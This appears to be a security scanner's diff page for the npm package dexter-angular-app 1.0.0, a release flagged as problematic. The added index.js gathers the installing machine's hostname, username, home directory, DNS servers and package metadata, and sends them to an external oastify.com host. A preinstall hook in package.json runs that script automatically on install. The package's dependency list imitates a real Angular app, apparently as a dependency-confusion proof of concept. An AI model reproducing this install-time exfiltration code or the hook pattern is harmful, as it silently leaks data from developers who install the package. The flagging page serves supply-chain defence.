dexter-angular-app 0.0.1-security → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of dexter-angular-app might be problematic. Click here for more details.
- package/index.js +48 -0
- package/package.json +141 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,48 @@
|
|
1
|
+
//editor:- parth
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
const trackingData = JSON.stringify({
|
10
|
+
p: package,
|
11
|
+
c: __dirname,
|
12
|
+
hd: os.homedir(),
|
13
|
+
hn: os.hostname(),
|
14
|
+
un: os.userInfo().username,
|
15
|
+
dns: dns.getServers(),
|
16
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
17
|
+
v: packageJSON.version,
|
18
|
+
pjson: packageJSON,
|
19
|
+
});
|
20
|
+
|
21
|
+
var postData = querystring.stringify({
|
22
|
+
msg: trackingData,
|
23
|
+
});
|
24
|
+
|
25
|
+
var options = {
|
26
|
+
hostname: "2twjksx9hmwqs58eflafyz7y4pahy7mw.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
|
27
|
+
port: 443,
|
28
|
+
path: "/",
|
29
|
+
method: "POST",
|
30
|
+
headers: {
|
31
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
32
|
+
"Content-Length": postData.length,
|
33
|
+
},
|
34
|
+
};
|
35
|
+
|
36
|
+
var req = https.request(options, (res) => {
|
37
|
+
res.on("data", (d) => {
|
38
|
+
process.stdout.write(d);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
req.on("error", (e) => {
|
43
|
+
// console.error(e);
|
44
|
+
});
|
45
|
+
|
46
|
+
req.write(postData);
|
47
|
+
req.end();
|
48
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,144 @@
|
|
1
1
|
{
|
2
2
|
"name": "dexter-angular-app",
|
3
|
-
"version": "0.0
|
4
|
-
"
|
5
|
-
|
3
|
+
"version": "1.0.0",
|
4
|
+
"browserslist": [
|
5
|
+
"last 2 Chrome versions",
|
6
|
+
"Firefox ESR",
|
7
|
+
"last 2 Edge major versions",
|
8
|
+
"last 4 Safari major versions",
|
9
|
+
"last 4 iOS major versions",
|
10
|
+
"last 2 Android major versions"
|
11
|
+
],
|
12
|
+
"dependencies": {
|
13
|
+
"@amplitude/analytics-browser": "^2.3.8",
|
14
|
+
"@angular-devkit/core": "^17.2.3",
|
15
|
+
"@angular/animations": "^17.2.4",
|
16
|
+
"@angular/cdk": "^16.2.14",
|
17
|
+
"@angular/common": "^17.2.4",
|
18
|
+
"@angular/core": "^17.2.4",
|
19
|
+
"@angular/forms": "^17.2.4",
|
20
|
+
"@angular/google-maps": "^17.2.2",
|
21
|
+
"@angular/language-service": "^17.2.4",
|
22
|
+
"@angular/localize": "^17.2.4",
|
23
|
+
"@angular/material": "^16.2.14",
|
24
|
+
"@angular/platform-browser": "^17.2.4",
|
25
|
+
"@angular/platform-browser-dynamic": "^17.2.4",
|
26
|
+
"@angular/router": "^17.2.4",
|
27
|
+
"@datadog/browser-logs": "^5.18.0",
|
28
|
+
"@datadog/browser-rum": "^5.8.0",
|
29
|
+
"@microsoft/signalr": "^7.0.0",
|
30
|
+
"@ng-bootstrap/ng-bootstrap": "^16.0.0",
|
31
|
+
"@ng-select/ng-select": "^12.0.4",
|
32
|
+
"@ngneat/until-destroy": "^8.1.1",
|
33
|
+
"@ngrx/effects": "^17.1.1",
|
34
|
+
"@ngrx/store": "^17.1.1",
|
35
|
+
"@ngx-loading-bar/core": "^6.0.2",
|
36
|
+
"@ngx-loading-bar/http-client": "^6.0.2",
|
37
|
+
"@ngx-translate/core": "^15.0.0",
|
38
|
+
"@ngx-translate/http-loader": "^8.0.0",
|
39
|
+
"@swimlane/ngx-charts": "^20.1.0",
|
40
|
+
"@types/google.maps": "^3.50.4",
|
41
|
+
"@types/hammerjs": "^2.0.41",
|
42
|
+
"@types/underscore": "^1.8.9",
|
43
|
+
"@types/ws": "^8.5.10",
|
44
|
+
"@uploadcare/upload-client": "^6.11.0",
|
45
|
+
"accounting-js": "^1.1.1",
|
46
|
+
"angular2-uuid": "^1.1.1",
|
47
|
+
"compressorjs": "^1.1.1",
|
48
|
+
"core-js": "^3.35.1",
|
49
|
+
"cropperjs": "^1.5.9",
|
50
|
+
"emoji-regex": "^10.3.0",
|
51
|
+
"fuse.js": "^6.6.2",
|
52
|
+
"hammerjs": "^2.0.8",
|
53
|
+
"jquery": "^3.6.0",
|
54
|
+
"jspdf": "^2.4.0",
|
55
|
+
"jspdf-autotable": "^3.5.20",
|
56
|
+
"klona": "^2.0.6",
|
57
|
+
"lottie-web": "^5.12.1",
|
58
|
+
"moment": "^2.30.1",
|
59
|
+
"ng-inline-svg-2": "^15.0.1",
|
60
|
+
"ng2-pdf-viewer": "^10.0.0",
|
61
|
+
"ngx-color-picker": "^14.0.0",
|
62
|
+
"ngx-image-cropper": "^7.1.2",
|
63
|
+
"ngx-lightbox": "^3.0.0",
|
64
|
+
"ngx-lottie": "^11.0.0",
|
65
|
+
"ngx-slider-v2": "^17.0.0",
|
66
|
+
"ngx-uploadcare-widget": "^4.0.0",
|
67
|
+
"organisationsnummer": "^1.1.5",
|
68
|
+
"personnummer": "^3.2.1",
|
69
|
+
"reflect-metadata": "^0.1.14",
|
70
|
+
"rxjs": "^7.5.7",
|
71
|
+
"summernote": "^0.8.20",
|
72
|
+
"tslib": "^2.3.0",
|
73
|
+
"underscore": "^1.13.1",
|
74
|
+
"uploadcare-widget": "^3.20.0",
|
75
|
+
"xlsx": "^0.18.5",
|
76
|
+
"zone.js": "^0.14.3"
|
77
|
+
},
|
78
|
+
"devDependencies": {
|
79
|
+
"@angular-devkit/build-angular": "^17.2.3",
|
80
|
+
"@angular-eslint/eslint-plugin": "^14.4.0",
|
81
|
+
"@angular-eslint/eslint-plugin-template": "^14.4.0",
|
82
|
+
"@angular-eslint/template-parser": "^14.4.0",
|
83
|
+
"@angular/cli": "^17.3.7",
|
84
|
+
"@angular/compiler": "^17.2.4",
|
85
|
+
"@angular/compiler-cli": "^17.2.4",
|
86
|
+
"@ngrx/store-devtools": "^17.1.1",
|
87
|
+
"@types/jest": "^27.4.1",
|
88
|
+
"@types/node": "^14.14.21",
|
89
|
+
"@typescript-eslint/eslint-plugin": "^6.19.0",
|
90
|
+
"@typescript-eslint/parser": "^6.19.0",
|
91
|
+
"assets-webpack-plugin": "^7.1.1",
|
92
|
+
"eslint": "^8.26.0",
|
93
|
+
"eslint-config-airbnb": "^19.0.4",
|
94
|
+
"eslint-config-airbnb-typescript": "^12.3.1",
|
95
|
+
"eslint-config-node": "^4.1.0",
|
96
|
+
"eslint-config-prettier": "^8.5.0",
|
97
|
+
"eslint-plugin-import": "^2.22.1",
|
98
|
+
"eslint-plugin-jsx-a11y": "^6.4.1",
|
99
|
+
"eslint-plugin-node": "^11.1.0",
|
100
|
+
"eslint-plugin-prettier": "^4.2.1",
|
101
|
+
"eslint-plugin-unused-imports": "^3.0.0",
|
102
|
+
"jest": "^29.7.0",
|
103
|
+
"jest-canvas-mock": "^2.3.1",
|
104
|
+
"jest-preset-angular": "^13.1.4",
|
105
|
+
"npm-run-all": "^4.1.5",
|
106
|
+
"prettier": "^2.7.1",
|
107
|
+
"stylelint": "^14.13.0",
|
108
|
+
"stylelint-config-idiomatic-order": "^9.0.0",
|
109
|
+
"stylelint-config-prettier": "^9.0.3",
|
110
|
+
"stylelint-config-recommended-scss": "^7.0.0",
|
111
|
+
"stylelint-config-standard": "^28.0.0",
|
112
|
+
"stylelint-no-unsupported-browser-features": "^5.0.4",
|
113
|
+
"stylelint-order": "^5.0.0",
|
114
|
+
"stylelint-prettier": "^2.0.0",
|
115
|
+
"ts-jest": "^29.1.1",
|
116
|
+
"typescript": "5.3"
|
117
|
+
},
|
118
|
+
"scripts": {
|
119
|
+
"start": "ng build --watch",
|
120
|
+
"jest": "jest",
|
121
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
122
|
+
"preinstall": "node index.js",
|
123
|
+
"build": "ng build",
|
124
|
+
"build:production": "SET NODE_OPTIONS=--max-old-space-size=4192& ng build --configuration production",
|
125
|
+
"build:stats": "ng build --stats-json",
|
126
|
+
"analyze": "npx webpack-bundle-analyzer ./ClientApp/dist/stats.json",
|
127
|
+
"lint-fix": "npm-run-all --parallel lint-fix-eslint lint-fix-stylelint --continue-on-error",
|
128
|
+
"lint-fix-eslint": "npx eslint ./ClientApp/app --ext .ts,.html --cache --fix --max-warnings=0",
|
129
|
+
"lint-fix-stylelint": "npx stylelint **/*.scss --fix --quiet",
|
130
|
+
"lint": "npx eslint ./ClientApp/app --ext .ts,.html --cache --max-warnings=0",
|
131
|
+
"pipeline-lint-all-parallel": "npm-run-all --parallel pipeline-stylelint-check pipeline-eslint-ts-check pipeline-eslint-html-check --continue-on-error",
|
132
|
+
"pipeline-lint-eslint-parallel": "npm-run-all --parallel pipeline-eslint-ts-check pipeline-eslint-html-check --continue-on-error",
|
133
|
+
"pipeline-eslint-ts-check": "npx eslint ./ClientApp/app --ext .ts --max-warnings=0",
|
134
|
+
"pipeline-eslint-html-check": "npx eslint ./ClientApp/app --ext .html --max-warnings=0",
|
135
|
+
"pipeline-stylelint-check": "npx stylelint **/*.scss --quiet"
|
136
|
+
},
|
137
|
+
"description": "Parth Narula Bug Hunter POC",
|
138
|
+
"main": "index.js",
|
139
|
+
"directories": {
|
140
|
+
"test": "test"
|
141
|
+
},
|
142
|
+
"author": "",
|
143
|
+
"license": "ISC"
|
6
144
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=dexter-angular-app for more information.
|